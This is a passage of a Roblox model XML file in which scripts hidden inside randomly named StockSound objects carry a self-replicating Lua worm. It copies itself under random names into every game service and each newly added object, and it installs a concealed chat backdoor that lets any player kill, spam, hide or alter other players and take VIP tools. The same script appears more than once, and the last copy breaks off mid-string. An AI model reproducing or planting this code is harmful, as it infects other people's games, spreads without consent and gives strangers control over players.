jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX674">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">skadnff9</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX675">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">eaantu</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX676">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-174.5</X>
								<Y>10.6999998</Y>
								<Z>-7.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX677">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">p2s91</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX678">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">gxrczs</string>
									<string name="Source">--             	 _                     |
